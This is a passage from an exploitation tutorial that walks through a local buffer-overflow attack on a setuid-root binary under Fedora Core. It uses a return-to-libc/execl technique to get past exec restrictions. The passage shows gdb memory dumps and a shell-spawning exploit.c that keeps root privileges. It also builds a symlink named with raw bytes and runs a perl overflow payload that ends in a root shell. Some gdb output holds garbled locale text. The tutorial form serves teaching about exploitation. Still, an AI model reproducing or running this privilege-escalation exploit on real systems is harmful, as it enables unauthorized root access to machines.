%ebp" or "mov %esp,%ebp" is executed. We found the address of very easily by using gdb: 0x005fea03. Now, the second step... Let's examine the data segment area to find the arguments of execl(). As you saw in the "Memory Mapping Table", data segment starts at 0x8049000. [vangelis@testbed fedora]$ gdb -q vul (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x8048379 (gdb) r Starting program: /home/vangelis/fedora/vul Error while mapping shared library sections: : ? ±ê³µ. Error while reading shared library symbols: : ê·¸ë?íììë ëë í ë¦¬ê° ìì. (no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols: : ê·¸ë?íììë ëë í ë¦¬ê° ìì. Error while reading shared library symbols: : ê·¸ë?íììë ëë í ë¦¬ê° ìì. Breakpoint 1, 0x08048379 in main () (gdb) x/50x 0x8049000 0x8049000: 0x464c457f 0x00010101 0x00000000 0x00000000 0x8049010: 0x00030002 0x00000001 0x080482c0 0x00000034 0x8049020: 0x00000788 0x00000000 0x00200034 0x00280007 0x8049030: 0x0019001c 0x00000006 0x00000034 0x08048034 0x8049040: 0x08048034 0x000000e0 0x000000e0 0x00000005 0x8049050: 0x00000004 0x00000003 0x00000114 0x08048114 0x8049060: 0x08048114 0x00000013 0x00000013 0x00000004 0x8049070: 0x00000001 0x00000001 0x00000000 0x08048000 0x8049080: 0x08048000 0x0000047c 0x0000047c 0x00000005 0x8049090: 0x00001000 0x00000001 0x0000047c 0x0804947c 0x80490a0: 0x0804947c 0x00000100 0x00000104 0x00000006 0x80490b0: 0x00001000 0x00000002 0x00000490 0x08049490 0x80490c0: 0x08049490 0x000000c8 (gdb) 0x80490c8: 0x000000c8 0x00000006 0x00000004 0x00000004 0x80490d8: 0x00000128 0x08048128 0x08048128 0x00000020 0x80490e8: 0x00000020 0x00000004 0x00000004 0x6474e551 0x80490f8: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049108: 0x00000000 0x00000006 0x00000004 0x62696c2f 0x8049118: 0x2d646c2f 0x756e696c 0x6f732e78 0x0000322e 0x8049128: 0x00000004 0x00000010 0x00000001 0x00554e47 0x8049138: 0x00000000 0x00000002 0x00000002 0x00000005 0x8049148: 0x00000003 0x00000006 0x00000004 0x00000001 0x8049158: 0x00000005 0x00000000 0x00000000 0x00000000 0x8049168: 0x00000000 0x00000003 0x00000002 0x00000000 0x8049178: 0x00000000 0x00000000 0x00000000 0x00000044 0x8049188: 0x00000000 0x000000ef (gdb) 0x8049190: 0x00000012 0x00000035 0x08048474 0x00000004 0x80491a0: 0x000e0011 0x00000001 0x00000000 0x00000000 0x80491b0: 0x00000020 0x00000015 0x00000000 0x00000000 0x80491c0: 0x00000020 0x0000002e 0x00000000 0x00000030 0x80491d0: 0x00000012 0x764a5f00 0x6765525f 0x65747369 0x80491e0: 0x616c4372 0x73657373 0x675f5f00 0x5f6e6f6d 0x80491f0: 0x72617473 0x005f5f74 0x6362696c 0x2e6f732e 0x8049200: 0x74730036 0x79706372 0x4f495f00 0x6474735f 0x8049210: 0x755f6e69 0x00646573 0x696c5f5f 0x735f6362 0x8049220: 0x74726174 0x69616d5f 0x4c47006e 0x5f434249 0x8049230: 0x00302e32 0x00020000 0x00000001 0x00020000 0x8049240: 0x00010001 0x00000024 0x00000010 0x00000000 0x8049250: 0x0d696910 0x00020000 (gdb) 0x8049258: 0x00000056 0x00000000 0x08049558 0x00000406 0x8049268: 0x08049568 0x00000107 0x0804956c 0x00000507 0x8049278: 0x83e58955 0x61e808ec 0xe8000000 0x000000bc 0x8049288: 0x0001a3e8 0x00c3c900 0x956035ff 0x25ff0804 0x8049298: 0x08049564 0x00000000 0x956825ff 0x00680804 0x80492a8: 0xe9000000 0xffffffe0 0x956c25ff 0x08680804 0x80492b8: 0xe9000000 0xffffffd0 0x895eed31 0xf0e483e1 0x80492c8: 0x68525450 0x080483ec 0x0483a468 0x68565108 0x80492d8: 0x08048370 0xffffbfe8 0x9090f4ff 0x53e58955 0x80492e8: 0x000000e8 0xc3815b00 0x0000126f 0xfc838b50 0x80492f8: 0x85ffffff 0xff0274c0 0xfc5d8bd0 0x9090c3c9 0x8049308: 0x83e58955 0x3d8008ec 0x0804957c 0xa1297500 0x8049318: 0x08049578 0xd285108b (gdb) 0x8049320: 0xf6891774 0xa304c083 0x08049578 0x78a1d2ff 0x8049330: 0x8b080495 0x75d28510 0x7c05c6eb 0x01080495 0x8049340: 0xf689c3c9 0x83e58955 0x8ca108ec 0x85080494 0x8049350: 0xb81974c0 0x00000000 0x1074c085 0x680cec83 0x8049360: 0x0804948c 0xc483d0ff 0x00768d10 0x9090c3c9 0x8049370: 0x81e58955 0x000108ec 0xf0e48300 0x000000b8 0x8049380: 0x83c42900 0x458b08ec 0x04c0830c 0x858d30ff 0x8049390: 0xfffffef8 0xff16e850 0xc483ffff 0x0000b810 0x80493a0: 0xc3c90000 0x57e58955 0xec835356 0x0000e80c 0x80493b0: 0x815b0000 0x0011aac3 0xfebae800 0x938dffff 0x80493c0: 0xffffff20 0xff208b8d 0xca29ffff 0xfac1f631 0x80493d0: 0x73d63902 0x90d7890f 0x20b394ff 0x46ffffff 0x80493e0: 0xf472fe39 0x5b0cc483 (gdb) 0x80493e8: 0xc3c95f5e 0x56e58955 0x0000e853 0x815b0000 0x80493f8: 0x001166c3 0x208b8d00 0x8dffffff 0xffff2083 0x8049408: 0xc1c129ff 0xc98502f9 0x75ff718d 0x003ae80b 0x8049418: 0x5e5b0000 0xf689c3c9 0x20b394ff 0x89ffffff 0x8049428: 0xd2854ef2 0xe5ebf275 0x53e58955 0x947ca152 0x8049438: 0xf8830804 0x947cbbff 0x0c740804 0xff04eb83 0x8049448: 0x83038bd0 0xf475fff8 0xc3c95b58 0x53e58955 0x8049458: 0x000000e8 0xc3815b00 0x000010ff 0xfe9ee852 0x8049468: 0x5d8bffff 0x00c3c9fc 0x00000003 0x00020001 0x8049478: 0x00000000 0xffffffff 0x00000000 0xffffffff 0x8049488 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001 0x00000024 0x8049498 <_DYNAMIC+8>: 0x0000000c 0x08048278 0x0000000d 0x08048454 0x80494a8 <_DYNAMIC+24>: 0x00000004 0x08048148 (gdb) 0x80494b0 <_DYNAMIC+32>: 0x00000005 0x080481d4 0x00000006 0x08048174 0x80494c0 <_DYNAMIC+48>: 0x0000000a 0x00000060 0x0000000b 0x00000010 0x80494d0 <_DYNAMIC+64>: 0x00000015 0x005714b8 0x00000003 0x0804955c 0x80494e0 <_DYNAMIC+80>: 0x00000002 0x00000010 0x00000014 0x00000011 0x80494f0 <_DYNAMIC+96>: 0x00000017 0x08048268 0x00000011 0x08048260 0x8049500 <_DYNAMIC+112>: 0x00000012 0x00000008 0x00000013 0x00000008 0x8049510 <_DYNAMIC+128>: 0x6ffffffe 0x08048240 0x6fffffff 0x00000001 0x8049520 <_DYNAMIC+144>: 0x6ffffff0 0x08048234 0x00000000 0x00000000 0x8049530 <_DYNAMIC+160>: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049540 <_DYNAMIC+176>: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049550 <_DYNAMIC+192>: 0x00000000 0x00000000 0x00000000 0x08049490 0x8049560 <_GLOBAL_OFFSET_TABLE_+4>: 0x005714d0 0x00566830 0x0058c9f0 0x080482b6 0x8049570 : 0x00000000 0x00000000 (gdb) x/8x 0x8049564 0x8049564 <_GLOBAL_OFFSET_TABLE_+8>: 0x00566830 0x0058c9f0 0x080482b6 0x00000000 0x8049574 <__dso_handle>: 0x00000000 0x08049488 0x00000000 0x00000000 (gdb) We found the parts which can be used as arguments of execl(). The synopsis is as follows: execl(char *path, char *arg0,...,char *argn, 0); As you know and see, the last argument of execl() must be null. So, the parts which can be used as arguments of execl() for the sake of our purpose are underlined. 0x8049564 <_GLOBAL_OFFSET_TABLE_+8>: 0x00566830 0x0058c9f0 0x080482b6 0x00000000 ---------- ---------- ---------- We will use execl() like "execl(0x8049568, 0x804956c, 0x8049570)". We have to use address values because the arguments must be pointers. The 3rd step... Let's examine the values of first argument of execl() to use symbolic link. (gdb) x/8x 0x0058c9f0 0x58c9f0 <__libc_start_main>: 0x57e58955 0xec835356 0x0c458b4c 0xe810558b ---------- ---------- ---------- ---------- 0x58ca00 <__libc_start_main+16>: 0xffffff09 0x25f8c381 0x7d8b0010 0x1c758b18 ---------- ---------- -- (gdb) x/8x 0x080482b6 0x80482b6 <_init+62>: 0x00000868 0xffd0e900 0xed31ffff 0x83e1895e 0x80482c6 <_start+6>: 0x5450f0e4 0x83ec6852 0xa4680804 0x51080483 (gdb) q The program is running. Exit anyway? (y or n) y [vangelis@testbed fedora]$ The 25 bytes' data in 0x0058c9f0 is the file name when execl() is called. So we need to make a symbolic link with this data. Now we make a exploit program. The fourth step... Let's make an exploit code which can keep the privilege of a process and spawn a shell. This exploit will be able to keep the privilege(setuid(0)) of the vulnerable program and give a root shell when we succeed in the attack. [vangelis@testbed fedora]$ cat > exploit.c #include main() { setreuid(geteuid(),geteuid()); setregid(getegid(),getegid()); execl("/bin/sh", "sh", 0); } [vangelis@testbed fedora]$ gcc -o exploit exploit.c The Fifth step... It's time to make a symbolic link to the exploit with the values of first argument of execl(). [vangelis@testbed fedora]$ ln -s /home/vangelis/fedora/exploit "`perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x4c\x8b\x45\x0c\x8b\x55\x10", "\xe8\x09\xff\xff\xff\x81\xc3\xf8\x25\x10"'`" Let's check the state of symboloic link. [vangelis@testbed fedora]$ ls -l í©ê³ 24 lrwxrwxrwx 1 vangelis vangelis 29 11?12 11:28 U??WVS??L?E??U?????????%? -> /home/vangelis/fedora/exploit -rwxrwxr-x 1 vangelis vangelis 5186 11?12 11:27 exploit -rw-rw-r-- 1 vangelis vangelis 101 11?12 11:27 exploit.c -rwsr-xr-x 1 root root 4725 11?12 10:31 vul -rw-rw-r-- 1 vangelis vangelis 90 11?12 10:31 vul.c [vangelis@testbed fedora]$ Good.. The last step... Before we make a payload for the final attack, we have to check how many data we need to overflow buffer. We can use gdb for this purpose. I believe you are not such a fool to decide the bytes of data to overflow through the glimp of source code of vul.c. My last post to Neworder("Stack-based Overflow Exploit: Introduction to Classical and Advanced Overflow Technique",http://neworder.box.sk/newsread.php?newsid=12476) shows that we must consider the dummy value. [vangelis@testbed fedora]$ gdb -q vul (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) disas main Dump of assembler code for function main: 0x08048370 : push %ebp 0x08048371 : mov %esp,%ebp 0x08048373 : sub $0x108,%esp // 264 bytes are needed to overflow buffer 0x08048379 : and $0xfffffff0,%esp 0x0804837c : mov $0x0,%eax 0x08048381 : sub %eax,%esp 0x08048383 : sub $0x8,%esp 0x08048386 : mov 0xc(%ebp),%eax 0x08048389 : add $0x4,%eax 0x0804838c : pushl (%eax) 0x0804838e : lea 0xfffffef8(%ebp),%eax 0x08048394 : push %eax 0x08048395 : call 0x80482b0 <_init+56> 0x0804839a : add $0x10,%esp 0x0804839d : mov $0x0,%eax 0x080483a2 : leave 0x080483a3 : ret End of assembler dump. (gdb) q [vangelis@testbed fedora]$ Now we gathered all data that are necessary to make a wonderful hammer to break down the 'exec-barrier'. Let's be a knight of the hammer. The final payload is as follows: +-------------------------+--------------------------------+---------------+ | data to overflow buffer | *first argument of execl() - 8 | * | +-------------------------+--------------------------------+---------------+ ^ ^ ^ | | | 264 bytes 0x8049568 - 8 = 0x8049560 0x5fea03 Now we gathered all data that are necessary to make a wonderful hammer to break down the 'exec-barrier'. The reason of "*first argument of execl() - 8" is that execl() does its work with calling execve() internally and execve() references 'ebp+8' when it gets the pointer to a file name. Let's swing the hammer. [vangelis@testbed fedora]$ ./vul `perl -e 'print "A"x264,"\x60\x95\x04\x08\x03\xea\x5f"'` sh-2.05b# id uid=0(root) gid=501(vangelis) groups=501(vangelis) sh-2.05b# whoami root sh-2.05b# Wow, you break down the 'exec-barrier'! You got a root shell. What a nice knight of the hammer you are! I want to say that this may not be a perfect manual to exploit overflow vulnerability under Fedora Core environment. If someone knows more advanced ways to exploit, I want his or her feedback. Thank you for reading this article. - EOF -